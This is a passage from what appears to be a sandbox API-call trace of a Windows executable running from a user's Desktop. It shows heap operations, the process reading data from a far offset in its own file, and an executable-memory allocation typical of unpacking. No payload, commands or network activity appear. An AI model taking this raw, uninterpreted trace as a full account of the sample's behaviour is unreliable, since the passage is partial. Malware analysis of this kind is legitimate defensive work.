Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.295] GetCurrentThreadId () returned 0x9b0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b170 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6f50 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b190 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71620 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.295] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.296] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a71940 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b190 | out: hHeap=0x2ad0000) returned 1 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62380 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6f50 | out: hHeap=0x2ad0000) returned 1 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0073.296] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a879a0, Size=0x14) returned 0x2a879a0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] GetCurrentThreadId () returned 0x9b0 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.296] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetLastError () returned 0x0 [0073.297] GetLastError () returned 0x0 [0073.297] GetLastError () returned 0x0 [0073.297] GetLastError () returned 0x0 [0073.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20138 [0073.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18028 [0073.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18028 | out: hHeap=0x2ad0000) returned 1 [0073.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b150 [0073.297] GetLastError () returned 0x0 [0073.297] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0073.297] GetFileType (hFile=0x1d4) returned 0x1 [0073.297] GetLastError () returned 0x0 [0073.297] GetCurrentThreadId () returned 0x9b0 [0073.297] GetLastError () returned 0x0 [0073.298] GetFileType (hFile=0x1d4) returned 0x1 [0073.298] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.298] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.298] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.298] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.298] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.298] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.298] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.298] GetLastError () returned 0x0 [0073.298] GetCurrentThreadId () returned 0x9b0 [0073.298] GetLastError () returned 0x0 [0073.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.298] GetLastError () returned 0x0 [0073.298] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7066874, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x6bd4fa [0073.298] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] GetLastError () returned 0x0 [0073.299] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=7066874, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x6bd4fa [0073.299] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x427) returned 0x2a8b3c8 [0073.299] GetLastError () returned 0x0 [0073.299] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ac8ba8 [0073.299] ReadFile (in: hFile=0x1d4, lpBuffer=0x2ac8ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2ac8ba8*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.299] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] GetLastError () returned 0x0 [0073.299] GetCurrentThreadId () returned 0x9b0 [0073.299] GetLastError () returned 0x0 [0073.299] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x6be4fa [0073.300] GetLastError () returned 0x0 [0073.300] GetCurrentThreadId () returned 0x9b0 [0073.300] GetLastError () returned 0x0 [0073.300] GetLastError () returned 0x0 [0073.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac8ba8 | out: hHeap=0x2ad0000) returned 1 [0073.300] CloseHandle (hObject=0x1d4) returned 1 [0073.300] GetLastError () returned 0x0 [0073.300] GetCurrentThreadId () returned 0x9b0 [0073.300] GetLastError () returned 0x0 [0073.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ac8ba8 [0073.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2aca780 [0073.300] GetLastError () returned 0x0 [0073.300] GetCurrentThreadId () returned 0x9b0 [0073.300] GetLastError () returned 0x0 [0073.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac8ba8 | out: hHeap=0x2ad0000) returned 1 [0073.300] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aca780, Size=0x892) returned 0x2aca780 [0073.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b3c8 | out: hHeap=0x2ad0000) returned 1 [0073.300] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.300] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18070, Size=0x20) returned 0x2a1f9c0 [0073.300] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a18c68 [0073.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c68, Size=0x64) returned 0x2a19818 [0073.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19818, Size=0x8c) returned 0x2b21d08 [0073.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21d08, Size=0xb8) returned 0x2a8b3c8 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b3c8 | out: hHeap=0x2ad0000) returned 1 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aca780 | out: hHeap=0x2ad0000) returned 1 [0073.301] GetCurrentThreadId () returned 0x9b0 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.301] GetCurrentThreadId () returned 0x9b0 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.301] GetCurrentThreadId () returned 0x9b0 [0073.301] GetCurrentThreadId () returned 0x9b0 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0073.301] GetCurrentThreadId () returned 0x9b0 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1a8) returned 0x2ac9620 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa9a08 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6930 | out: hHeap=0x2ad0000) returned 1 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9620 | out: hHeap=0x2ad0000) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b160 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b200 [0073.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b130 [0073.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b200, Size=0x14) returned 0x2a71620 [0073.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b160 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6f50 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717a0 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b220 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.302] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b220, Size=0x14) returned 0x2a71580 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181a8 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62ce0 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac6f50 | out: hHeap=0x2ad0000) returned 1 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2) returned 0x2a8b1e0 [0073.302] GetCurrentThreadId () returned 0x9b0 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.302] GetCurrentThreadId () returned 0x9b0 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.302] GetCurrentThreadId () returned 0x9b0 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.303] GetCurrentThreadId () returned 0x9b0 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xb) returned 0x2a18268 [0073.303] GetLastError () returned 0x0 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b140 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71660 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18238 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b100 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.303] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b100, Size=0x14) returned 0x2a71880 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6930 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x2a180e8 [0073.303] GetLastError () returned 0x0 [0073.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b220 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1b0 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717a0 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18238 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b190 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.304] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b190, Size=0x14) returned 0x2a71840 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1b0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac6f50 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b190 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac70d8 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a716e0 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a181c0 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0a0 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.304] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0a0, Size=0x14) returned 0x2a71840 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a181c0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.304] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62c18 [0073.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac70d8 | out: hHeap=0x2ad0000) returned 1 [0073.304] GetSystemInfo (in: lpSystemInfo=0x9baf8c | out: lpSystemInfo=0x9baf8c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0073.305] VirtualAlloc (lpAddress=0x0, dwSize=0xff8, flAllocationType=0x1000, flProtect=0x40) returned 0xd30000 [0073.305] GetLastError () returned 0x0 [0073.305] GetCurrentThreadId () returned 0x9b0 [0073.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3c0 | out: hHeap=0x2ad0000) returned 1 [0073.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a87788 | out: hHeap=0x2ad0000) returned 1 [0073.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac4bc8 | out: hHeap=0x2ad0000) returned 1 [0073.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.305] GetCurrentThreadId () returned 0x9b0 [0073.305] GetCurrentThreadId () returned 0x9b0 [0073.305] GetCurrentThreadId () returned 0x9b0 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.306] GetCurrentThreadId () returned 0x9b0 [0073.306] GetCurrentThreadId () returned 0x9b0 [0073.306] GetCurrentThreadId () returned 0x9b0 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0073.306] GetCurrentThreadId () returned 0x9b0 [0073.306] GetCurrentThreadId () returned 0x9b0 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1b0 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2a20228 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b130 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b130, Size=0x14) returned 0x2a718c0 [0073.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a718c0, Size=0x24) returned 0x2a1ff28 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b150 | out: hHeap=0x2ad0000) returned 1 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1b0 | out: hHeap=0x2ad0000) returned 1 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff28 | out: hHeap=0x2ad0000) returned 1 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71840 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b080 [0073.306] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.306] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b080, Size=0x14) returned 0x2a717a0 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717a0 | out: hHeap=0x2ad0000) returned 1 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b150 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717a0 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b210 [0073.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) 